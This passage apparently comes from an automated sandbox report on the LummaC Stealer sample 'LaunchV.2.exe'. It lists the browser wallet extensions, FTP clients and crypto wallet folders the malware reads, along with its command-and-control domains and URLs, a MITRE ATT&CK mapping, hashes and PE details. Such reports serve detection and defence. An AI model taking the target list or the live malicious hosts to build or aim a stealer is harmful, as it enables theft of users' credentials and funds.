Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: 2.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2427532027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	21 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	311 Process Injection	LSASS Memory	241 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	41 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	3 Clipboard Data	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	11 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	33 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
LaunchV.2.exe	38%	Virustotal		Browse
LaunchV.2.exe	39%	ReversingLabs	Win64.Trojan.Generic

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://loadoutle.life/kpLsOAm:	0%	Avira URL Cloud	safe
targett.top/dsANGt	0%	Avira URL Cloud	safe
loadoutle.life/kpLsOAm	0%	Avira URL Cloud	safe
https://loadoutle.life/Q_(z	0%	Avira URL Cloud	safe
pistolpra.bet/dABYyaz	0%	Avira URL Cloud	safe
armamenti.world/dsIOQn	0%	Avira URL Cloud	safe
selfdefens.bet/dASBUz	0%	Avira URL Cloud	safe
weaponwo.life/NghsayA	0%	Avira URL Cloud	safe
https://loadoutle.life/kpLsOAmE	0%	Avira URL Cloud	safe
armoryarch.shop/GiqwY	0%	Avira URL Cloud	safe
https://loadoutle.life/._iz	0%	Avira URL Cloud	safe
https://loadoutle.life/kpLsOAm	0%	Avira URL Cloud	safe
https://loadoutle.life/__:z	0%	Avira URL Cloud	safe
https://loadoutle.life/	0%	Avira URL Cloud	safe
https://loadoutle.life/u_	0%	Avira URL Cloud	safe
caliberc.today/KowpqlL	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
loadoutle.life	188.114.96.3	true	true	unknown
pki-goog.l.google.com	142.250.186.99	true	false	high
c.pki.goog	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
pistolpra.bet/dABYyaz	true	Avira URL Cloud: safe	unknown
armoryarch.shop/GiqwY	true	Avira URL Cloud: safe	unknown
weaponwo.life/NghsayA	true	Avira URL Cloud: safe	unknown
loadoutle.life/kpLsOAm	true	Avira URL Cloud: safe	unknown
selfdefens.bet/dASBUz	true	Avira URL Cloud: safe	unknown
targett.top/dsANGt	true	Avira URL Cloud: safe	unknown
armamenti.world/dsIOQn	true	Avira URL Cloud: safe	unknown
https://loadoutle.life/kpLsOAm	true	Avira URL Cloud: safe	unknown
caliberc.today/KowpqlL	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://loadoutle.life/kpLsOAm:	MSBuild.exe, 00000002.00000002.2428480805.0000000000F42000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://loadoutle.life/Q_(z	MSBuild.exe, 00000002.00000002.2428393313.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://loadoutle.life/kpLsOAmE	MSBuild.exe, 00000002.00000002.2428597989.0000000000F65000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://loadoutle.life/kpLsOAme	MSBuild.exe, 00000002.00000002.2428035583.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://loadoutle.life/._iz	MSBuild.exe, 00000002.00000002.2428393313.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://loadoutle.life/__:z	MSBuild.exe, 00000002.00000002.2428393313.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://loadoutle.life/	MSBuild.exe, 00000002.00000002.2428393313.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://loadoutle.life/u_	MSBuild.exe, 00000002.00000002.2428393313.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.96.3	loadoutle.life	European Union		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1639954
Start date and time:	2025-03-16 19:03:03 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	LaunchV.2.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/0@2/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 85% Number of executed functions: 60 Number of non-executed functions: 117
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, SgrmBroker.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.60.203.209, 2.23.77.188, 199.232.214.172, 172.202.163.200, 13.85.23.206, 52.149.20.212, 20.3.187.198
Excluded domains from analysis (whitelisted): fs.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, slscr.update.microsoft.com, e3913.cd.akamaiedge.net, ctldl.windowsupdate.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, e16604.dscf.akamaiedge.net, fe3cr.delivery.mp.microsoft.com, cac-ocsp.digicert.com.edgekey.net, fe3.delivery.mp.microsoft.com, ocsp.digicert.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
14:04:00	API Interceptor	7x Sleep call for process: MSBuild.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	finebi.exe	Get hash	malicious	Unknown	Browse	apiapi.mmkinskfn.xyz/jquery-3.3.1.min.js
	Aramco requests.exe	Get hash	malicious	FormBook	Browse	www.tgwfj.xyz/b5fo/
	Urgent Purchase Order.vbe	Get hash	malicious	FormBook	Browse	www.fkrvhaupjtc.info/2p9f/
	http://188.114.96.3	Get hash	malicious	Unknown	Browse	188.114.96.3/favicon.ico
	Circular No.12-7 Quotation.exe	Get hash	malicious	FormBook	Browse	www.tgwfj.xyz/b5fo/
	88472LOL petrochem Requesting of Quotations.exe	Get hash	malicious	FormBook	Browse	www.shuangunder.shop/udq7/
	file.exe	Get hash	malicious	FormBook	Browse	www.stairr-lift-find.today/hwu6/?ElP=WZR8FZOHH8rT4t&Gv1pdFi=6w4hdQoVfVQrmE6NGje2LQs8/eanZEBz6llptEcLTw59IJivDzykY6esqCwDZ++LAtf4
	kVPzMgJglW.exe	Get hash	malicious	FormBook	Browse	www.serenityos.dev/dntg/
	tnZI8EzSx3.exe	Get hash	malicious	FormBook	Browse	www.fkrvhaupjtc.info/sdhm/
	7zKn77RsRX.exe	Get hash	malicious	FormBook	Browse	www.serenityos.dev/dntg/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pki-goog.l.google.com	SecuriteInfo.com.Win32.RATX-gen.28955.11907.exe	Get hash	malicious	XWorm	Browse	142.250.184.227
	SecuriteInfo.com.Win32.RATX-gen.23694.15705.exe	Get hash	malicious	XWorm	Browse	172.217.18.3
	SecuriteInfo.com.Win32.RATX-gen.1407.14828.exe	Get hash	malicious	SugarDump, XWorm	Browse	142.250.186.67
	file.exe	Get hash	malicious	Vidar	Browse	142.250.185.163
	DiscordNitrofree2021.exe	Get hash	malicious	Unknown	Browse	142.250.181.227
	Install.exe	Get hash	malicious	LummaC Stealer, RHADAMANTHYS	Browse	142.250.184.195
	ShadowOF-Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	142.250.184.227
	SoftWare.exe	Get hash	malicious	LummaC Stealer	Browse	142.250.184.227
	Installer.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	142.250.184.227
	7#U00dfc2j9x2i#U00fel.exe	Get hash	malicious	Unknown	Browse	142.250.184.227
loadoutle.life	SoftWare.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
loadoutle.life	Setup.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	188.114.97.3
bg.microsoft.map.fastly.net	shit.exe.bin.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	attach.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	AgnotSecurity.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	SecuriteInfo.com.Win32.RATX-gen.20425.5895.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	SecuriteInfo.com.Win32.RATX-gen.28955.11907.exe	Get hash	malicious	XWorm	Browse	199.232.210.172
	SecuriteInfo.com.Win32.RATX-gen.23694.15705.exe	Get hash	malicious	XWorm	Browse	199.232.214.172
	SecuriteInfo.com.Win32.RATX-gen.1407.14828.exe	Get hash	malicious	SugarDump, XWorm	Browse	199.232.210.172
	file.exe	Get hash	malicious	LummaC Stealer	Browse	199.232.214.172
	m4n1AQRhaP.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	199.232.214.172
	GalaxySoft.exe	Get hash	malicious	LummaC Stealer	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Setup(1).exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	162.159.136.232
	16Vzai4jwT.exe	Get hash	malicious	CobaltStrike	Browse	104.21.80.1
	ExLoader_Installer.exe	Get hash	malicious	Python Stealer, Blank Grabber, Umbral Stealer, XWorm	Browse	162.159.135.232
	awjcsl.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	162.159.135.232
	https://ouo.io/wqM4Oz	Get hash	malicious	Unknown	Browse	104.21.15.59
	skuld.exe	Get hash	malicious	Go Stealer, Skuld Stealer	Browse	162.159.128.233
	diskusage.exe	Get hash	malicious	Python Stealer, Blank Grabber	Browse	162.159.128.233
	Acodihicozaja.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	svc-host.exe.bin.exe	Get hash	malicious	Unknown	Browse	104.20.3.235
	svc-host.exe.bin.exe	Get hash	malicious	Unknown	Browse	172.67.19.24

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	16Vzai4jwT.exe	Get hash	malicious	CobaltStrike	Browse	188.114.96.3
	Nexol.exe.bin.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	Spoofer.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	SecuriteInfo.com.Win32.RATX-gen.20425.5895.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	SecuriteInfo.com.Win32.RATX-gen.3254.10881.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	SecuriteInfo.com.Win64.Evo-gen.10253.22166.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	GalaxySoft.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	loader.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	Install.exe	Get hash	malicious	LummaC Stealer, RHADAMANTHYS	Browse	188.114.96.3

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32+ executable (console) x86-64, for MS Windows
Entropy (8bit):	7.646831278811739
TrID:	Win64 Executable Console (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	LaunchV.2.exe
File size:	592'896 bytes
MD5:	b7ad5811f05a5ce6664b01dd47d3a1d7
SHA1:	d9555b56a89bce5149b5c6a1c99a87e7a9a098c6
SHA256:	bff8217e37fe817479a614e0383f8c1d6f47999762c2005670c301927dac8a3a
SHA512:	243ae1105c17c4601a6802ae6a1886d6d5aee50d026761c830d14231287646c3200e18aaf735dd866f40f5d620eb28754b178eb48aba7f2bc5d17550c6516276
SSDEEP:	12288:VWCzTM2dzPblUrAv5oS6FwdOalD2jZVlLHr1h+Pgze/51NTL7E714:VUePptvDI/vGGeDRm4
TLSH:	60C4F2AE26A758D6ED73847CCED07A51D77378268F10CBFB06E441211E235D29D2AB23
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....}.g.........."............................@..........................................`........................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x14001831c
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x67D57DF5 [Sat Mar 15 13:17:41 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	fd2739e7ebf69dea0556a52b87570850

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F2144C82B40h
dec eax
add esp, 28h
jmp 00007F2144C82767h
int3
int3
dec eax
sub esp, 28h
call 00007F2144C82904h
dec eax
neg eax
sbb eax, eax
neg eax
dec eax
dec eax
add esp, 28h
ret
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
cmp dword ptr [0001E092h], FFFFFFFFh
dec eax
mov ebx, ecx
jne 00007F2144C828F9h
call 00007F2144C84821h
jmp 00007F2144C82901h
dec eax
mov edx, ebx
dec eax
lea ecx, dword ptr [0001E07Ch]
call 00007F2144C84784h
xor edx, edx
test eax, eax
dec eax
cmove edx, ebx
dec eax
mov eax, edx
dec eax
add esp, 20h
pop ebx
ret
int3
int3
dec eax
sub esp, 18h
dec esp
mov eax, ecx
mov eax, 00005A4Dh
cmp word ptr [FFFE7C69h], ax
jne 00007F2144C8296Ah
dec eax
arpl word ptr [FFFE7C9Ch], cx
dec eax
lea edx, dword ptr [FFFE7C59h]
dec eax
add ecx, edx
cmp dword ptr [ecx], 00004550h
jne 00007F2144C82951h
mov eax, 0000020Bh
cmp word ptr [ecx+18h], ax
jne 00007F2144C82946h
dec esp
sub eax, edx
movzx edx, word ptr [ecx+14h]
dec eax
add edx, 18h
dec eax
add edx, ecx
movzx eax, word ptr [ecx+06h]
dec eax
lea ecx, dword ptr [eax+eax*4]
dec esp
lea ecx, dword ptr [edx+ecx*8]
dec eax
mov dword ptr [esp], edx
dec ecx
cmp edx, ecx
je 00007F2144C8290Ah
mov ecx, dword ptr [edx+0Ch]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x32c78	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x38000	0x15b4	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3e000	0x668	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2b1e0	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x32f08	0x268	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x29aa7	0x29c00	bc39eb6dd60785e4180e7c7cbb3afa99	False	0.5047717065868264	data	6.600671819762486	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2b000	0x9c0c	0x9e00	87242c2b164715b145e7eeeb049c8f17	False	0.41544699367088606	data	4.795620390693286	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x35000	0x2040	0xc00	da54f09d231e8fd39b1de467f9d4a7c5	False	0.17805989583333334	data	2.440587319916063	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x38000	0x15b4	0x1600	092a09f2375815764b7919ab42978e4d	False	0.4836647727272727	data	5.410912571801746	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.gxfg	0x3a000	0x13e0	0x1400	07ef09fd727107c6620b60102558fa00	False	0.43828125	PGP symmetric key encrypted data - Plaintext or unencrypted data	5.090449058306497	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.retplne	0x3c000	0x8c	0x200	8c950f651287cbc1296bcb4e8cd7e990	False	0.126953125	data	1.050583247971927
